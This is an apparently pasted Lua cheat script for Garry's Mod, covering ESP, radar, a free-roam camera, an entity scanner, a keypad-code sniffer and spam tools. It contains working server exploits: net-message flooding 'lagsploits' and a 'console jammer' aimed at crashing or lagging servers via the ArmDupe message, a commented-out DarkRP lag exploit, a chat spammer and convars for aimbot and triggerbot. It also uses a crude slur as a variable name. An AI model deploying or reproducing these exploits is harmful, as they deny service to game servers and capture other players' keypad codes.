  2268. "Lisa",
  2269. "Lacey",
  2270. "Emma",
  2271. "Gabriel",
  2272. "Hayley",
  2273. "Harley",
  2274. "Heidi",
  2275. "Holly",
  2276. "Ivy",
  2277. "Helen",
  2278. "Jamie",
  2279. "Jackie",
  2280. "Jenna",
  2281. "Josephine",
  2282. "Julia",
  2283. "Kelly",
  2284. "Lara",
  2285. "Lily",
  2286. "Maia",
  2287. "Amanda",
  2288. "Mary",
  2289. "Margaret",
  2290. "Sarah",
  2291. "Sydney",
  2292. "Racheal",
  2293. "Wilson",
  2294. "Kane",
  2295. "David"
  2296. }
  2297.  
  2298. lastname = {
  2299. "Smith",
  2300. "Jones",
  2301. "Anderson",
  2302. "Morgan",
  2303. "Freeman",
  2304. "Wilson",
  2305. "Williams",
  2306. "Brown",
  2307. "Taylor",
  2308. "Martin",
  2309. "White",
  2310. "Howard",
  2311. "Bieber",
  2312. "Cooper",
  2313. "Gray",
  2314. "Hardy",
  2315. "Thompson",
  2316. "Baron",
  2317. "Finnegan",
  2318. "McDonald",
  2319. "Doyle",
  2320. "Parker",
  2321. "Dawson",
  2322. "Mcintyre",
  2323. "Redwood",
  2324. "Sutherland",
  2325. "Harris",
  2326. "Presley",
  2327. "Cole",
  2328. "Corne",
  2329. "Colin",
  2330. "Lacey",
  2331. "Hall",
  2332. "Hulley",
  2333. "Rayner",
  2334. "Cashen",
  2335. "Seng",
  2336. "Miller",
  2337. "Ludon",
  2338. "Curry",
  2339. "Watson",
  2340. "Holmes",
  2341. "Cartman",
  2342. "Lane",
  2343. "Porter",
  2344. "Fletcher",
  2345. "Hunter",
  2346. "Lynch",
  2347. "Corbett",
  2348. "Barry",
  2349. "Kennedy",
  2350. "Riley",
  2351. "Davis",
  2352. "Lennon",
  2353. "Odinsson",
  2354. "Robson",
  2355. "Ferris",
  2356. "Pearce",
  2357. "Walter",
  2358. "Cruz",
  2359. "Pratchett",
  2360. "Hayes",
  2361. "Danliels",
  2362. "Gregory",
  2363. "Doe",
  2364. "Nelson",
  2365. "Hale",
  2366. "Bryan",
  2367. "Ford",
  2368. "Holden",
  2369. "Burns",
  2370. "Mcneal",
  2371. "Deere"
  2372. }
  2373.  
  2374.  
  2375. function randomrpname()
  2376. LocalPlayer():ConCommand("darkrp rpname "..table.Random(firstname).." "..table.Random(lastname))
  2377. end
  2378. concommand.Add("jav_newname",randomrpname)
  2379.  
  2380.  
  2381.  
  2382. /*------------------------------------------
  2383. Spirit Walk
  2384. ------------------------------------------*/
  2385.  
  2386.  
  2387. local SW = {}
  2388.  
  2389. SW.Enabled = false
  2390. SW.ViewOrigin = Vector( 0, 0, 0 )
  2391. SW.ViewAngle = Angle( 0, 0, 0 )
  2392. SW.Velocity = Vector( 0, 0, 0 )
  2393.  
  2394. function SW.CalcView( ply, origin, angles, fov )
  2395. if ( !SW.Enabled ) then return end
  2396. if ( SW.SetView ) then
  2397. SW.ViewOrigin = origin
  2398. SW.ViewAngle = angles
  2399.  
  2400. SW.SetView = false
  2401. end
  2402. return { origin = SW.ViewOrigin, angles = SW.ViewAngle }
  2403. end
  2404. hook.Add( "CalcView", "SpiritWalk", SW.CalcView )
  2405.  
  2406. function SW.CreateMove( cmd )
  2407. if ( !SW.Enabled ) then return end
  2408.  
  2409. // Add and reduce the old velocity.
  2410. local time = FrameTime()
  2411. SW.ViewOrigin = SW.ViewOrigin + ( SW.Velocity * time )
  2412. SW.Velocity = SW.Velocity * 0.95
  2413.  
  2414. // Rotate the view when the mouse is moved.
  2415. local sensitivity = 0.022
  2416. SW.ViewAngle.p = math.Clamp( SW.ViewAngle.p + ( cmd:GetMouseY() * sensitivity ), -89, 89 )
  2417. SW.ViewAngle.y = SW.ViewAngle.y + ( cmd:GetMouseX() * -1 * sensitivity )
  2418.  
  2419. // What direction we're going to move in.
  2420. local add = Vector( 0, 0, 0 )
  2421. local ang = SW.ViewAngle
  2422. if ( cmd:KeyDown( IN_FORWARD ) ) then add = add + ang:Forward() end
  2423. if ( cmd:KeyDown( IN_BACK ) ) then add = add - ang:Forward() end
  2424. if ( cmd:KeyDown( IN_MOVERIGHT ) ) then add = add + ang:Right() end
  2425. if ( cmd:KeyDown( IN_MOVELEFT ) ) then add = add - ang:Right() end
  2426. if ( cmd:KeyDown( IN_JUMP ) ) then add = add + ang:Up() end
  2427. if ( cmd:KeyDown( IN_DUCK ) ) then add = add - ang:Up() end
  2428.  
  2429. // Speed.
  2430. add = add:GetNormal() * time * 500
  2431. if ( cmd:KeyDown( IN_SPEED ) ) then add = add * 2 end
  2432.  
  2433. SW.Velocity = SW.Velocity + add
  2434.  
  2435. // This stops us looking around crazily while spiritwalking.
  2436. if ( SW.LockView == true ) then
  2437. SW.LockView = cmd:GetViewAngles()
  2438. end
  2439. if ( SW.LockView ) then
  2440. cmd:SetViewAngles( SW.LockView )
  2441. end
  2442.  
  2443. // This stops us moving while spiritwalking.
  2444. cmd:SetForwardMove( 0 )
  2445. cmd:SetSideMove( 0 )
  2446. cmd:SetUpMove( 0 )
  2447. end
  2448. hook.Add( "CreateMove", "SpiritWalk", SW.CreateMove )
  2449.  
  2450. function SW.Toggle()
  2451. SW.Enabled = !SW.Enabled
  2452. SW.LockView = SW.Enabled
  2453. SW.SetView = true
  2454.  
  2455. local status = { [ true ] = "ON", [ false ] = "OFF" }
  2456. print( "SpiritWalk " .. status[ SW.Enabled ] )
  2457. end
  2458. concommand.Add( "jav_spiritwalk", SW.Toggle )
  2459.  
  2460. concommand.Add( "jav_spiritwalk_printpos", function() print( SW.ViewOrigin ) end )
  2461.  
  2462.  
  2463. /*------------------------------------------
  2464. Entity Scanner
  2465. ------------------------------------------*/
  2466.  
  2467. targdist = 0
  2468. targmodel = nil
  2469. targname = nil
  2470. targrank = nil
  2471. targteam = nil
  2472. targteamcolor = Color(255,255,255)
  2473. targhealth = nil
  2474. targactive = nil
  2475. targpos = nil
  2476. targmass = nil
  2477.  
  2478. function Scanner()
  2479. if GetConVarNumber("jav_scanner_enabled") == 1 then
  2480. local tr = LocalPlayer():GetEyeTrace()
  2481. if not tr.Entity then return end
  2482. local target = tr.Entity
  2483.  
  2484. if target:GetClass():lower() == "player" then
  2485. targdist = (math.floor(target:GetPos():Distance(LocalPlayer():GetPos())) * 0.02 )
  2486. targmodel = target:GetModel()
  2487. targname = target:Nick()
  2488. targrank = target:GetUserGroup()
  2489. targteamcolor = team.GetColor(target:Team())
  2490. targteam = team.GetName(target:Team())
  2491. targhealth = target:Health()
  2492. targindex = target:EntIndex()
  2493. targid = target:SteamID()
  2494. targposx = math.Round(target:GetPos().x)
  2495. targposy = math.Round(target:GetPos().y)
  2496. targposz = math.Round(target:GetPos().z)
  2497. if targid == "NULL" then targid = "Bots have no SteamID" end
  2498. targactive = target:GetActiveWeapon():GetPrintName()
  2499. end
  2500.  
  2501.  
  2502. if target:GetClass():lower() != "player" && target:GetClass():lower() != "worldspawn" then
  2503. targname = target:GetClass()
  2504. targdist = (math.floor(target:GetPos():Distance(LocalPlayer():GetPos())) * 0.02 )
  2505. targmodel = target:GetModel()
  2506. targindex = target:EntIndex()
  2507. targposx = math.Round(target:GetPos().x)
  2508. targposy = math.Round(target:GetPos().y)
  2509. targposz = math.Round(target:GetPos().z)
  2510. targrank = "N/A"
  2511. targteam = "N/A"
  2512. targhealth = "N/A"
  2513. targid = "N/A"
  2514. targactive = "N/A"
  2515. end
  2516. end
  2517. end
  2518. hook.Add( "Think", "PropScanner", Scanner )
  2519.  
  2520. hook.Add( "HUDPaint", "jav_scandata", function( )
  2521. if GetConVarNumber("jav_scanner_enabled") == 1 then
  2522.  
  2523. surface.SetDrawColor( 0,0,0,150 )
  2524. surface.DrawRect( 410, ScrH() / 2 - 110, 450, 220 )
  2525. surface.SetDrawColor( 255,150,0,155 )
  2526. surface.DrawRect( 500, ScrH() / 2 - 110, 2, 220 )
  2527.  
  2528. draw.SimpleTextOutlined( "Name/Type:", "Trebuchet18", 420, ScrH() / 2 - 100, Color(255,255,255),4,1,1,Color(0,0,0))
  2529. draw.SimpleTextOutlined( "Rank:", "Trebuchet18", 420, ScrH() / 2 - 80, Color(255,255,255),4,1,1,Color(0,0,0))
  2530. draw.SimpleTextOutlined( "Team:", "Trebuchet18", 420, ScrH() / 2 - 60, Color(255,255,255),4,1,1,Color(0,0,0))
  2531. draw.SimpleTextOutlined( "Health:", "Trebuchet18", 420, ScrH() / 2 - 40, Color(255,255,255),4,1,1,Color(0,0,0))
  2532. draw.SimpleTextOutlined( "Distance:", "Trebuchet18", 420, ScrH() / 2 - 20, Color(255,255,255),4,1,1,Color(0,0,0))
  2533. draw.SimpleTextOutlined( "Model:", "Trebuchet18", 420, ScrH() / 2, Color(255,255,255),4,1,1,Color(0,0,0))
  2534. draw.SimpleTextOutlined( "Ent Index:", "Trebuchet18", 420, ScrH() / 2 + 20, Color(255,255,255),4,1,1,Color(0,0,0))
  2535. draw.SimpleTextOutlined( "SteamID:", "Trebuchet18", 420, ScrH() / 2 + 40, Color(255,255,255),4,1,1,Color(0,0,0))
  2536. draw.SimpleTextOutlined( "Active Wep:", "Trebuchet18", 420, ScrH() / 2 + 60, Color(255,255,255),4,1,1,Color(0,0,0))
  2537. draw.SimpleTextOutlined( "Position:", "Trebuchet18", 420, ScrH() / 2 + 80, Color(255,255,255),4,1,1,Color(0,0,0))
  2538.  
  2539. draw.SimpleTextOutlined( targname, "Trebuchet18", 510, ScrH() / 2 - 100, Color(255,255,255),4,1,1,Color(0,0,0))
  2540. draw.SimpleTextOutlined( targdist.."m", "Trebuchet18", 510, ScrH() / 2 - 80, Color(255,255,255),4,1,1,Color(0,0,0))
  2541. draw.SimpleTextOutlined( targmodel, "Trebuchet18", 510, ScrH() / 2 - 60, Color(255,255,255),4,1,1,Color(0,0,0))
  2542. draw.SimpleTextOutlined( targrank, "Trebuchet18", 510, ScrH() / 2 - 40, Color(255,255,255),4,1,1,Color(0,0,0))
  2543. draw.SimpleTextOutlined( targteam, "Trebuchet18", 510, ScrH() / 2 - 20, targteamcolor,4,1,1,Color(0,0,0))
  2544. draw.SimpleTextOutlined( targhealth, "Trebuchet18", 510, ScrH() / 2, Color(100,255,100),4,1,1,Color(0,0,0))
  2545. draw.SimpleTextOutlined( targindex, "Trebuchet18", 510, ScrH() / 2 + 20, Color(255,255,255),4,1,1,Color(0,0,0))
  2546. draw.SimpleTextOutlined( targid, "Trebuchet18", 510, ScrH() / 2 + 40, Color(220,220,255),4,1,1,Color(0,0,0))
  2547. draw.SimpleTextOutlined( targactive, "Trebuchet18", 510, ScrH() / 2 + 60, Color(255,255,0),4,1,1,Color(0,0,0))
  2548. draw.SimpleTextOutlined( "X: "..tostring(targposx), "Trebuchet18", 510, ScrH() / 2 + 80, Color(255,205,255),4,1,1,Color(0,0,0))
  2549. draw.SimpleTextOutlined( "Y: "..tostring(targposy), "Trebuchet18", 570, ScrH() / 2 + 80, Color(255,205,255),4,1,1,Color(0,0,0))
  2550. draw.SimpleTextOutlined( "Z: "..tostring(targposz), "Trebuchet18", 630, ScrH() / 2 + 80, Color(255,205,255),4,1,1,Color(0,0,0))
  2551. end
  2552. end)
  2553.  
  2554. /*------------------------------------------
  2555. Entity Finder ESP
  2556. ------------------------------------------*/
  2557.  
  2558.  
  2559. //Toggle command
  2560. local showing = true
  2561.  
  2562. concommand.Add("jav_entfinder_toggle", function()
  2563. if showing then
  2564. showing = false
  2565. else
  2566. showing = true
  2567. end
  2568. end)
  2569.  
  2570. //Everything menu related
  2571. local EntsToShow = {}
  2572. local OtherEnts = {}
  2573.  
  2574. concommand.Add("jav_entfinder_menu", function(ply, cmd, args)
  2575. function Reload(startX, startY)
  2576. table.Empty(OtherEnts)
  2577. for k,v in pairs(ents.GetAll()) do
  2578. local addToAllEnts = true
  2579.  
  2580. for i,p in pairs(EntsToShow) do
  2581. if p == v:GetClass() then
  2582. addToAllEnts = false
  2583. end
  2584. end
  2585.  
  2586. for i,p in pairs(OtherEnts) do
  2587. if p == v:GetClass() then
  2588. addToAllEnts = false
  2589. end
  2590. end
  2591.  
  2592. if addToAllEnts then
  2593. table.insert(OtherEnts, v:GetClass())
  2594. end
  2595. end
  2596.  
  2597. local main = vgui.Create( "DFrame" )
  2598. main:SetSize( 400, 300 )
  2599. if startX and startY then
  2600. main:SetPos(startX, startY)
  2601. else
  2602. main:Center()
  2603. end
  2604. main:SetTitle( "" )
  2605. main:SetVisible( true )
  2606. main:SetDraggable( true )
  2607. main:ShowCloseButton( true )
  2608. main:MakePopup()
  2609. main.Paint = function()
  2610. draw.RoundedBox( 4, 0, 0, main:GetWide(), main:GetTall(), Color( 0, 0, 0, 200 ) )
  2611. end
  2612.  
  2613. local EFtoggle = vgui.Create( "DButton" )
  2614. EFtoggle:SetParent( main )
  2615. EFtoggle:SetPos( 25, 10 )
  2616. EFtoggle:SetTextColor( Color(255, 255, 255, 255) )
  2617. EFtoggle:SetSize( 110, 25 )
  2618. EFtoggle:SetToolTip( "Toggle Ent Finder" )
  2619. EFtoggle.Paint = function()
  2620. surface.SetDrawColor( 60, 30, 0, 200 )
  2621. EFtoggle:SetText( "Toggle Ent Finder" )
  2622. surface.DrawRect( 0, 0, EFtoggle:GetWide(), EFtoggle:GetTall() )
  2623. end
  2624. EFtoggle.DoClick = function() RunConsoleCommand("jav_entfinder_toggle") end
  2625.  
  2626. local EFdistlabel = vgui.Create( "DLabel", Panel )
  2627. EFdistlabel:SetParent(main)
  2628. EFdistlabel:SetPos( 145, 15 )
  2629. EFdistlabel:SetText( "Draw Distance:" )
  2630. EFdistlabel:SizeToContents()
  2631.  
  2632. local EFdistbox = vgui.Create( "DNumberWang" )// Create the checkbox
  2633. EFdistbox:SetPos( 225, 12 )
  2634. EFdistbox:SetParent(main)
  2635. EFdistbox:SetMin(0)
  2636. EFdistbox:SetMax(999999)
  2637. EFdistbox:SetConVar( "jav_entfinder_distance" )
  2638. EFdistbox:SetToolTip( "how far away you can see target entities from, it would be a good idea to set this low when looking for a common entity to avoid lag" )
  2639.  
  2640.  
  2641.  
  2642. DermaList = vgui.Create( "DPanelList", main )
  2643. DermaList:SetPos( 25,45 )
  2644. DermaList:SetSize( 700, 500 )
  2645. DermaList:SetSpacing( 75 )
  2646. DermaList:EnableHorizontal( false )
  2647. DermaList:EnableVerticalScrollbar( true )
  2648.  
  2649. local SelectedEnts = vgui.Create("DListView")
  2650. SelectedEnts:SetSize(150, 200)
  2651. SelectedEnts:SetPos(0, 0)
  2652. SelectedEnts:SetMultiSelect(false)
  2653. SelectedEnts:AddColumn("Ents to show")
  2654. for k,v in pairs(EntsToShow) do
  2655. SelectedEnts:AddLine(v)
  2656. end
  2657. SelectedEnts.DoDoubleClick = function(parent, index, list)
  2658. table.remove(EntsToShow, index)
  2659. main:Close()
  2660. local x, y = main:GetPos()
  2661. Reload(x, y)
  2662. end
  2663. DermaList:Add(SelectedEnts)
  2664.  
  2665. local AllEnts = vgui.Create("DListView")
  2666. AllEnts:SetSize(150, 200)
  2667. AllEnts:SetPos(200, 0)
  2668. AllEnts:SetMultiSelect(false)
  2669. AllEnts:AddColumn("Ents not to show")
  2670. for k,v in pairs(OtherEnts) do
  2671. AllEnts:AddLine(v)
  2672. end
  2673. AllEnts.DoDoubleClick = function(parent, index, list)
  2674. table.insert(EntsToShow, OtherEnts[index])
  2675. main:Close()
  2676. local x, y = main:GetPos()
  2677. Reload(x, y)
  2678. end
  2679. DermaList:Add(AllEnts)
  2680. end
  2681. Reload()
  2682. end)
  2683.  
  2684. //Actually drawing information
  2685. hook.Add("HUDPaint", "ShowEnts", function()
  2686. if showing then
  2687. for k,v in pairs(ents.GetAll()) do
  2688. local drawing = false
  2689.  
  2690.  
  2691. for i,p in pairs(EntsToShow) do
  2692. if v:GetClass() == p then
  2693. drawing = true
  2694. end
  2695. end
  2696.  
  2697. local Dist = math.floor(v:GetPos():Distance(LocalPlayer():GetPos()))
  2698. local DrawDist = (GetConVarNumber("jav_entfinder_distance") / 0.02)
  2699.  
  2700. if drawing && (Dist < DrawDist) then
  2701. local stuff = v:GetPos():ToScreen()
  2702.  
  2703. local text = v:GetClass()
  2704. draw.SimpleTextOutlined( text, "Trebuchet18", stuff.x - 35, stuff.y - 15, Color(255,255,255),4,1,1,Color(0,0,0))
  2705.  
  2706. surface.SetDrawColor( 255, 150, 0, 255)
  2707. surface.DrawRect( stuff.x - 4, stuff.y -4 , 8, 8)
  2708. end
  2709. end
  2710. end
  2711. end)
  2712.  
  2713.  
  2714. /*------------------------------------------
  2715. Keypad Hax
  2716. ------------------------------------------*/
  2717.  
  2718.  
  2719.  
  2720. local X = -50
  2721. local Y = -100
  2722.  
  2723. local KeyPos = {
  2724. {X+5, Y+100, 25, 25, -2.2, 3.45, 1.3, -0},
  2725. {X+37.5, Y+100, 25, 25, -0.6, 1.85, 1.3, -0},
  2726. {X+70, Y+100, 25, 25, 1.0, 0.25, 1.3, -0},
  2727.  
  2728. {X+5, Y+132.5, 25, 25, -2.2, 3.45, 2.9, -1.6},
  2729. {X+37.5, Y+132.5, 25, 25, -0.6, 1.85, 2.9, -1.6},
  2730. {X+70, Y+132.5, 25, 25, 1.0, 0.25, 2.9, -1.6},
  2731.  
  2732. {X+5, Y+165, 25, 25, -2.2, 3.45, 4.55, -3.3},
  2733. {X+37.5, Y+165, 25, 25, -0.6, 1.85, 4.55, -3.3},
  2734. {X+70, Y+165, 25, 25, 1.0, 0.25, 4.55, -3.3},
  2735.  
  2736. {X+5, Y+67.5, 50, 25, -2.2, 4.7, -0.3, 1.6},
  2737. {X+60, Y+67.5, 35, 25, 0.3, 1.65, -0.3, 1.6}
  2738. }
  2739.  
  2740. local function FindDisplayText(ent)
  2741. if ent.GetDisplayText then
  2742. return ent:GetDisplayText()
  2743. else
  2744. return ent.Entity:GetNetworkedInt("keypad_num")
  2745. end
  2746. end
  2747.  
  2748. local function FindStatus(ent)
  2749. if ent.GetStatus then
  2750. return ent:GetStatus()
  2751. elseif ent.Entity:GetNetworkedBool("keypad_access") and ent.Entity:GetNetworkedBool("keypad_showaccess") then
  2752. return 1
  2753. elseif not ent.Entity:GetNetworkedBool("keypad_access") and ent.Entity:GetNetworkedBool("keypad_showaccess") then
  2754. return 2
  2755. else
  2756. return 0
  2757. end
  2758. end
  2759.  
  2760. hook.Add("Think", "keypadhax", function()
  2761. if GetConVarNumber("jav_keypadhax") == 1 then
  2762. for k,v in pairs(player.GetAll()) do
  2763. local kp = v:GetEyeTrace().Entity
  2764. if IsValid(kp) and (string.find(kp:GetClass(), "keypad") and not(string.find(v:GetClass(), "cracker") or string.find(v:GetClass(), "checker"))) and v:EyePos():Distance(kp:GetPos()) <= 70 then
  2765. kp.tempCode = kp.tempCode or ""
  2766. kp.tempText = kp.tempText or ""
  2767. kp.tempStatus = kp.tempStatus or 0
  2768.  
  2769. if (FindDisplayText(kp) != kp.tempText) or (FindStatus(kp) != kp.tempStatus) then
  2770. kp.tempText = FindDisplayText(kp)
  2771. kp.tempStatus = FindStatus(kp)
  2772.  
  2773. local tr = util.TraceLine({
  2774. start = v:EyePos(),
  2775. endpos = v:GetAimVector() * 32 + v:EyePos(),
  2776. filter = v
  2777. })
  2778.  
  2779. local pos = kp:WorldToLocal(tr.HitPos)
  2780.  
  2781. for i,p in pairs(KeyPos) do
  2782. local x = (pos.y - p[5]) / (p[5] + p[6])
  2783. local y = 1 - (pos.z + p[7]) / (p[7] + p[8])
  2784.  
  2785. if (x >= 0 and y >= 0 and x <= 1 and y <= 1) then
  2786. if i == 11 then
  2787. if kp.tempStatus == 1 then
  2788. kp.code = kp.tempCode
  2789. kp.tempCode = ""
  2790. elseif kp.tempStatus == 2 then
  2791. kp.tempCode = ""
  2792. end
  2793. elseif i == 10 then
  2794. kp.tempCode = ""
  2795. elseif i > 0 then
  2796. kp.tempCode = kp.tempCode..i
  2797. end
  2798. end
  2799. end
  2800. end
  2801. end
  2802. end
  2803. end
  2804. end)
  2805.  
  2806. hook.Add( "HUDPaint", "keypadhaxhud", function()
  2807. if GetConVarNumber("jav_keypadhax") == 1 then
  2808. local e = LocalPlayer():GetEyeTrace().Entity
  2809. if IsValid(e) and string.find(e:GetClass(), "keypad") then
  2810. local text = e.code or "Not Found"
  2811. draw.WordBox( 8, ScrW() / 2, ScrH() / 2, text, "Default", Color(50,50,75,100), Color(255,255,255,255) )
  2812. end
  2813.  
  2814. for k,v in pairs(ents.GetAll()) do
  2815. if IsValid(v) then
  2816. if string.find(v:GetClass(), "keypad") and not(string.find(v:GetClass(), "cracker") or string.find(v:GetClass(), "checker")) then
  2817. if v != e then
  2818. local pos = v:GetPos():ToScreen()
  2819. if IsValid(v) and v.code then
  2820. draw.RoundedBox( 4, pos.x-5, pos.y-5, 20, 20, Color( 0, 255, 0, 150 ) )
  2821. else
  2822. draw.RoundedBox( 4, pos.x-5, pos.y-5, 20, 20, Color( 255, 0, 0, 150 ) )
  2823. end
  2824. end
  2825. end
  2826. end
  2827. end
  2828. end
  2829. end)
  2830.  
  2831. /*------------------------------------------
  2832. Darkrp vomit cash exploit
  2833. ------------------------------------------*/
  2834.  
  2835. local Vomiting = false
  2836. concommand.Add( "jav_vomitcash", function()
  2837. Vomiting = !Vomiting
  2838. if( Vomiting ) then
  2839. timer.Create( "VomitCash", 2, 0, function()
  2840. RunConsoleCommand( "darkrp", "dropmoney", "5" )
  2841. end )
  2842. else
  2843. timer.Destroy( "VomitCash" )
  2844. end
  2845. end )
  2846.  
  2847. /*------------------------------------------
  2848. Console Jammer
  2849. ------------------------------------------*/
  2850.  
  2851. local Jamming = false
  2852. local rape = "{Mins:[-1 -187.9984 -18.8426],Constraints:[],Maxs:[79.2153 126.62.3755 0.3711}}}}"
  2853. concommand.Add( "jav_console_jammer", function()
  2854. Jamming = !Jamming
  2855. if( Jamming ) then
  2856. timer.Create( "JamConsole", 1, 0, function()
  2857. for i = 1, 100 do
  2858. net.Start( "ArmDupe" )
  2859. net.WriteUInt( 999999999999999999, 32 )
  2860. net.WriteData(rape,999999999999999999)
  2861. net.SendToServer()
  2862. end
  2863. end )
  2864. else
  2865. timer.Destroy( "JamConsole" )
  2866. end
  2867. end )
  2868.  
  2869. /*------------------------------------------
  2870. Chat Spammer
  2871. ------------------------------------------*/
  2872.  
  2873. local chatshitting = false
  2874. concommand.Add( "jav_chatspam", function()
  2875. chatshitting = !chatshitting
  2876. if( chatshitting ) then
  2877. timer.Create( "chatshit", 1, 0, function()
  2878. RunConsoleCommand( "say", GetConVarString("jav_chatspam_msg") )
  2879. end )
  2880. else
  2881. timer.Destroy( "chatshit" )
  2882. end
  2883. end )
  2884.  
  2885. /*------------------------------------------
  2886. Sandbox DOS Exploit (Created by legendofrobbo, based on the same theory as anubis's darkrp lagsploit)
  2887. ------------------------------------------*/
  2888.  
  2889. local jav_LagSploit = CreateClientConVar("jav_lagsploit", 0, false, false)
  2890. hook.Add("CreateMove", "lagsploit", function ()
  2891. local lagsploitpower = (GetConVarNumber("jav_lagsploit_power") )
  2892. if(GetConVarNumber("jav_lagsploit") == 1 ) then
  2893. for i=0, lagsploitpower do
  2894.  
  2895. net.Start( "ArmDupe" )
  2896. net.WriteUInt( 0, 32 )
  2897. net.WriteData( "", 0 )
  2898. net.SendToServer()
  2899.  
  2900. end
  2901. end
  2902. end)
  2903.  
  2904. /*------------------------------------------
  2905. Convars
  2906. ------------------------------------------*/
  2907.  
  2908. CreateClientConVar("jav_esp_enabled",0,true,false)
  2909. CreateClientConVar("jav_esp_distance",100,true,false)
  2910. CreateClientConVar("jav_xray_distance",50,true,false)
  2911. CreateClientConVar("jav_esp_position",1,true,false)
  2912. CreateClientConVar("jav_esp_velocity",0,true,false)
  2913. CreateClientConVar("jav_esp_names",1,true,false)
  2914. CreateClientConVar("jav_esp_box",0,true,false)
  2915. CreateClientConVar("jav_esp_showtargetdistance",0,true,false)
  2916. CreateClientConVar("jav_esp_admin",1,true,false)
  2917. CreateClientConVar("jav_esp_budget",0,true,false)
  2918. CreateClientConVar("jav_bhop_enabled",0,true,false)
  2919. CreateClientConVar("jav_mirror_enabled",0,true,false)
  2920. CreateClientConVar("jav_crosshair_enabled",1,true,false)
  2921. CreateClientConVar("jav_flashlight_enabled",0,true,false)
  2922. CreateClientConVar("jav_murderhax",0,true,false)
  2923. CreateClientConVar("jav_ttthax",0,true,false)
  2924. CreateClientConVar("jav_triggerbot_enabled",0,true,false)
  2925. CreateClientConVar("jav_witness_enabled",0,true,false)
  2926. CreateClientConVar("jav_autoaim_enabled",0,true,false)
  2927. CreateClientConVar("jav_aa_targetfriends",1,true,false)
  2928. CreateClientConVar("jav_aa_targetteam",1,true,false)
  2929. CreateClientConVar("jav_aa_angle",25,true,false)
  2930. CreateClientConVar("jav_aa_headshot",1,true,false)
  2931. CreateClientConVar("jav_aa_snaponaim",0,true,false)
  2932. CreateClientConVar("jav_aa_snaponaimgrace",0.5,true,false)
  2933. CreateClientConVar("jav_aa_ignorewalls",0,true,false)
  2934. CreateClientConVar("jav_aa_autoshoot",0,true,false)
  2935. CreateClientConVar("jav_scanner_enabled",0,true,false)
  2936. CreateClientConVar("jav_entfinder_distance",100,true,false)
  2937. CreateClientConVar("jav_keypadhax",0,true,false)
  2938. CreateClientConVar("jav_lagsploit_power",80,true,false)
  2939. CreateClientConVar("jav_autoclick_enabled",0,true,false)
  2940. CreateClientConVar("jav_chatbot",0,true,false)
  2941. CreateClientConVar("jav_chatspam_msg","Your tears are currently being harvested by http://steamcommunity.com/groups/mluminge",true,false)
  2942. CreateClientConVar("jav_colour_r",255,true,false)
  2943. CreateClientConVar("jav_colour_g",150,true,false)
  2944. CreateClientConVar("jav_colour_b",0,true,false)
  2945. CreateClientConVar("jav_radar_enabled",0,true,false)
  2946. CreateClientConVar("jav_radar_size",250,true,false)
  2947. CreateClientConVar("jav_radar_fov",50,true,false)
  2948.  
  2949. /*
  2950. orginal lagsploit code
  2951.  
  2952.  
  2953. local aic_DarkRPLagSploit = CreateClientConVar("aic_darkrp_lagsploit", 0, false, false)
  2954. hook.Add("Think", "aic_sploit01", function ( )
  2955. if((aic_DarkRPLagSploit:GetInt() == 1) and (gmod:GetGamemode().Name == "DarkRP")) then
  2956. for i=0,800do
  2957. net.Start("DarkRP_preferredjobmodel")
  2958. net.WriteUInt(-8, 8)
  2959. net.WriteString("\n\n\n\n\t\t\t\t\t\n\n\n\n\n\n\n")
  2960. net.SendToServer()
  2961.  
  2962. net.Start("DarkRP_spawnPocket")
  2963. net.WriteFloat(-0.1)
  2964. net.SendToServer()
  2965. end
  2966. end
  2967. end)
  2968.  
  2969. cvars.AddChangeCallback("aic_darkrp_lagsploit", function( cVar, oVal, nVal )
  2970. if((tostring(nVal) == "1") and (gmod:GetGamemode().Name != "DarkRP")) then
  2971. if(aic_Notifications:GetString() == "1") then
  2972. Output("Warning! This exploit targets DarkRP.")
  2973. aic_Notifications:SetString("0")
  2974. end
  2975. end
  2976. end)
  2977.  
  2978. */
  2979.  
  2980.  
  2981. local function javRadar()
  2982. if GetConVarNumber("jav_radar_enabled") == 1 then
  2983. local size = GetConVarNumber("jav_radar_size")
  2984. local fov = GetConVarNumber("jav_radar_fov")
  2985. local x = ScrW() - size - 5
  2986. local y = 5
  2987.  
  2988. surface.SetDrawColor(Color(0, 0, 0, 150))
  2989. surface.DrawRect(x, y, size, size)
  2990. x = x - 2
  2991. surface.SetDrawColor(GColScheme)
  2992. surface.DrawRect(x, y, size, 2)
  2993. surface.DrawRect(x, y, 2, size)
  2994. surface.DrawRect(x + size - 1, y, 2, size)
  2995. surface.DrawRect(x, y + (size - 2), size, 2)
  2996. surface.DrawRect((x -2)+ (size/2), (y-2) + (size/2), 4, 4)
  2997.  
  2998. for key, ply in pairs(player.GetAll()) do
  2999. if ply ~= LocalPlayer() and ply:Alive() and team.GetName(ply:Team()) ~= "Spectators" then
  3000. local lx = LocalPlayer():GetPos().x - ply:GetPos().x
  3001. local ly = LocalPlayer():GetPos().y - ply:GetPos().y
  3002. local ang = EyeAngles().y
  3003. local cos = math.cos(math.rad(-ang))
  3004. local sin = math.sin(math.rad(-ang))
  3005. local px = (ly * cos) + (lx * sin)
  3006. local py = (lx * cos) - (ly * sin)
  3007. px = px / fov
  3008. py = py / fov
  3009. px = math.Clamp(px, -(size * 0.50), size * 0.50)
  3010. py = math.Clamp(py, -(size * 0.50), size * 0.50)
  3011. local col = GColScheme
  3012. local name = player.GetAll()[key]:Nick()
  3013. draw.SimpleText(name, "default", x + size - (size * 0.50) + px - 13, y + size - (size * 0.50) + py - 7, col, TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
  3014. surface.SetDrawColor(GColScheme)
  3015. surface.DrawRect(x + size - (size * 0.50) + px, y + size - (size * 0.50) + py, 3, 3)
  3016. --surface.DrawRect(x + size - (size * 0.50) + px, y + size - (size * 0.50) + py - 3, 1, 7)
  3017.  
  3018. end
  3019.  
  3020. end
  3021.  
  3022. end
  3023. end
  3024. hook.Add("HUDPaint", "jav_radar", javRadar)
Add Comment
Please, Sign In to add comment